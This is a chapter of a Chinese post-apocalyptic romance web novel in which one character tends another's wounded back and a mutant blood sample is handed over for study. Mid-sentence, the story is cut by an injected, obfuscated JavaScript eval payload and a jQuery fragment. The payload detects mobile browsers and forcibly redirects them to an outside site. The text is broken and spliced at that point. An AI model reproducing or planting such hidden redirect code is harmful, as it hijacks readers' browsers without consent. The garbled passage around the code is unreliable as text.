眼看着天边逐渐泛起鱼肚白,一股说不清道不明的尴尬情愫似有若无的在两人之间弥漫开,直到回到地下城的安全区后。
喻冠青望着静默无言走进来的两人,刚想说话的嘴唇微微张开,顿了一下,随后又缓缓抿上。
他状若无事的扭回头,紧抿的双唇翻出白边,脸被憋得通红,刻意下拉的嘴角忍不住不自觉的上扬,直到绷不住笑出了声,清隽的面容从狰狞到扭曲。
林鹿桉望着他那副丑恶的嘴脸,板着的脸更是充满无声的怨怼。
灰黑色的脏污在她白净的脸上东一块西一块的,原本顺滑的黑色短发更是乱七八糟,犹如一个鸟窝一样矗立在她圆润的脑袋上。
而沉默的站在她身边的沈榀也没好到哪儿去,一身黑的连体作战服周身滚了一圈灰色,棱角分明的脸上横七竖八的喷溅上了几道早已干涸的绿色液体,背上跟胸前狼狈的各挎着一个黑色的装备包。
“哟,鬼混回来了?”
赵奇走过,看了他们一眼,讥讽道。
“少吃点盐,看你闲的。”
说完,林鹿桉斜了他一眼,直径擦肩而过走到物资堆放的桌前,找到白色的医疗包,然后转身扭头找到刚将两个背包放下来的沈榀。
“把衣服脱了。”
“?”
沈榀闻言猛地瞪大了眼睛,下垂的眼尾就跟小狗的眼睛一般,湿漉漉的满是无辜,他惊慌失措的环顾四周,见离得近的几人都怔愣的向他们望了过来。
他低头垂眸,脸上骤然涨起红晕,一下从脖子根红到了耳尖,他声音细碎,眼神闪躲,闷声开口道。
“这,这不太好吧,好多人。”
林鹿桉疑惑的抬眸看了圈周围围观的几人,恍然大悟,将手里提着的医疗包递到了一边正在吃瓜的喻冠青手里,一边嘱咐道。
“他背上受伤了,男孩子要面子,你给他找个没人的地方抹点药。”
喻冠青:“?”
沈榀:“......”
其他几人闻言,一脸了然,然后带着揶揄的目光,向沈榀投去不怀好意的眼神,随后收回了视线。
喻冠青提着被忽然塞到手里的医疗包,就跟烫手山芋一样扔回了正准备离开的林鹿桉怀里。
“两个大男人在小角落抹药像什么事。”
然后脚底就跟抹了油一样溜之大吉,慌乱之间还不忘丢下一句。
“好了来找我。”
怀里抱着医疗包的林鹿桉眨巴着眼睛不明所以的望着喻冠青跑远的身影,然后回过头对上沈榀更加无辜懵懂的视线,无奈的拆开医疗包,取出碘伏纱布。
“背过去,把上衣脱了。”
沈榀没有丝毫犹豫,乖乖的转过身,细白的手指摸上衣领,撕开脖颈上的魔术贴,然后缓缓拉下拉链,将连体衣的上半部分褪至腰间,露出了精壮的后背。
林鹿桉见状,不免一愣,说实话,这是她第一次看见男人的后背。
肌肉紧实,纹理清晰,强悍有力,却又不过分的魁梧丰满,每个肌肉线条都恰如其分,结实有力,兼具力量的同时又不缺乏美感,仿佛就是雕刻般的完美比例,跟他具有欺骗性的柔弱五官形成了对比。
她不由的吞咽了下口水,面颊滚烫,捏着棉棒的手指迟迟停留在半空中。
沈榀许久见不到动静,扭头看向呆愣在原地的林鹿桉,疑惑的开口问道。
“怎么了?”
语气里却带着不易察觉的一丝笑意。
林鹿桉这才回过神,连连摆手,佯装镇定的看着沈榀背上的伤口,随后不禁皱眉,眼里闪过一丝愧疚。
青紫色的淤青几乎占据了他整背部的二分之一,上面似乎还泛着点点的血色,仿佛稍微一触碰,就能渗出血来。
她轻沾着碘伏,一点一点的点涂在伤口上。
“嘶~”
下一瞬,沈榀吃痛的倒吸了一口凉气,背部一下僵直。
林鹿桉见状连忙止住了手上的动作。
“很疼啊?”
沈榀缓了一会儿,等那阵痛感渐渐消失后才微微放松脊背,然后扭过头安抚的朝林鹿桉扬起嘴角,状若无事的说道。
“没事,可能有点冷。”
“啊?”
林鹿桉左右来回看了看他们两侧的火堆,忽然想到沈榀之前受的伤还没好全,现在又受了伤,可能是伤势加重,让寒气入体了。
她担忧的蹙紧了眉头,然后让人又加了一盆火在他们正前方。
“如果疼的话一定要告诉我。”
说完,她继续了手上的动作,动作尽可能的轻柔,却还是能感受到受伤人背部止不住的颤栗。
林鹿桉抬眸,眼睛扫过沈榀额角流淌下的汗水,疼痛的隐忍让他背部僵直,却仍然埋首不吭一声,一想到他的两次受伤都是自己造成的,林鹿桉眼里的愧疚更深一分。
她魔怔般的低垂下头,温热的呼吸喷洒在沈榀的坚硬的后背,散落的头发随着动作轻轻扫过他的肌肤。
沈榀一愣,僵硬着身躯,一动不敢动。
忽然,他感觉一阵凉意弥漫在伤口的位置,伴随着发丝拨动的丝丝痒意,让他的心随之一颤,就像一阵微风轻拂而过,但随着带来了一股撩人的火,让他感觉自己快被烧干。
他咽了咽口说,声音有些嘶哑。
“那个,我有点渴,能帮我倒杯水吗?”
林鹿桉闻言一顿,像是忽然回过神,她懊恼的皱紧了眉头,嘴唇被咬的仿佛快要滴出血来,羞愧的狠不得找个地洞钻进去。
“哦,好,你等下。”
说着她丢下手里的棉棒,跑到桌边,手里倒着水,低声跟旁边的喻冠青说着什么。
热意渐渐退散,荡漾的湖泊逐渐归于平静,沈榀感觉心里没由来的有些失落。
他望着林鹿桉娇小的背影,幽暗的眸中逐渐升腾起惊涛,仿佛需要将人吞噬才能够平息这场汹涌的浪涛,跟忽然而来的暴风骤雨。
喻冠青端着水杯向他走了过来,顶着一头的雾水满腹的疑惑,然后将水递给了沈榀,拿起一边的纱布说道。
“虽然鹿桉给人上药下手是有点没轻没重,但是你怎么还给说出来了?你看!没人给你缠纱布了吧,还得我来。”
“......”
沈榀一时有些哭笑不得,半途而废也就算了,居然还倒打一耙。
没过一会儿,一层接着一层的纱布逐渐将他的整个背部缠裹住,加上跟前的三盆火一齐烘烤,沈榀实在被热的没招了。
他擦了擦早已被汗水浸湿的鬓角,连忙接过喻冠青手里仅剩一点的纱布,随手胡乱的打了个结,穿上衣服就赶忙着把跟前的火移开了。
喻冠青走后,罗维迈着步子向他走来,嘴角
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100929|177820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
噙着戏谑的笑。
“我说你们总部的人真是好命,出个任务还有美女环绕,贴身照顾,哎兄弟,跟哥说说,她那个手臂力量,应该别有一番滋味吧?”
说完桀桀的笑出声,眼里仿佛在说我就知道她果然是这样,扭曲虚荣却又可悲的在心里认为自己打了一场胜利的仗。
沈榀眼神下沉,目光转冷,望向他的视线仿佛在看一个死人。
罗维笑声未歇,拍着沈榀的肩膀,笑着说道。
“哎呀兄弟,开个玩笑,怎么还当真了。”
随后踩着轻快得意的步伐走远。
沈榀抬眸,望着他的背影,嘴角轻轻扬起,笑容却带着一丝致命的冰冷,全身的戾气翻涌,眼里的杀意不加掩饰。
*
另一边,被沈榀找理由支开的喻冠青找到了正蹲在地上埋头翻包的林鹿桉。
他走过去,对着人轻踢了一脚,开口道。
“干嘛呢?”
林鹿桉吓了一跳,抬头看见来人,圆溜的杏眼一瞪,伸进包里的手好像摸到了什么,原本还凶神恶煞的眼里一下闪过亮光,眼里是不加掩饰的欣喜。
“让你完了来找我,你蹲这儿打地洞呢?”
话音刚落,就见林鹿桉从包里掏出一个透明的玻璃小瓶子,里面装着绿色的液体,红色的瓶塞将瓶口堵得严严实实。
望着眼熟的瓶子,喻冠青一下明白了里面装着的是什么。
“我来之前跟阿月拿了几个东西,果然派上用场了。”
“你取N的血样干嘛?”
喻冠青看着林鹿桉跟宝贝似的紧紧攥在手里的瓶子。
这东西对于HT来说,已经没有什么研究价值了,现在最紧缺的就是能够研究出修改N体内变异基因的药剂,这才是结束这场末世的真正胜利。
林鹿桉将手里的血样交到了喻冠青的手里,并开口说道。
“我们这次出去搜救,碰到了那些丧失理智的N,与其说他们是失去了自我意识,不如说他们已经成了怪物......”
她将一路上遇到的所见所闻对着喻冠青一一道来,说到关键之处还神情比划搭配着来,听的喻冠青时不时的皱眉思索。
“哦对了,在大楼里碰到的那个N,我总感觉是有意识的......”
林鹿桉回忆着当时的场景,并将她当时的猜测告诉了喻冠青。
“它能够辨别我们的声音逃跑,并且我跟出去的时候,我能感觉到他在故意把我往错综复杂的小路带,这样的警惕,不可能是一个失去自我意识的N能够拥有的。”
对于这样的发现,喻冠青一时也没有想到,玛基里斯的一切好像比他们想象的还要不可思议,早已脱离了他们的可控范围。
“我需要跟总部汇报下这边的情况,我们之前定的行动方案可能也没法继续了,只会伤亡更多,一切等明天阿月他们过来再说。”
林鹿桉应了一声,随即喻冠青继续问道。
“沈榀有没有什么异常?”
闻言,林鹿桉垂眸,紧抿着双唇,脑海中突然涌上刚刚让她好像中了蛊一样不对劲的回忆,还有在静谧街道上凛冽的寒风跟温热的触感。
这些突如其来的情绪让她感觉说不出来的欢喜、煎熬、酸涩,心里五味杂陈。
难道沈榀趁她不注意的时候给她注射了什么奇怪的药剂?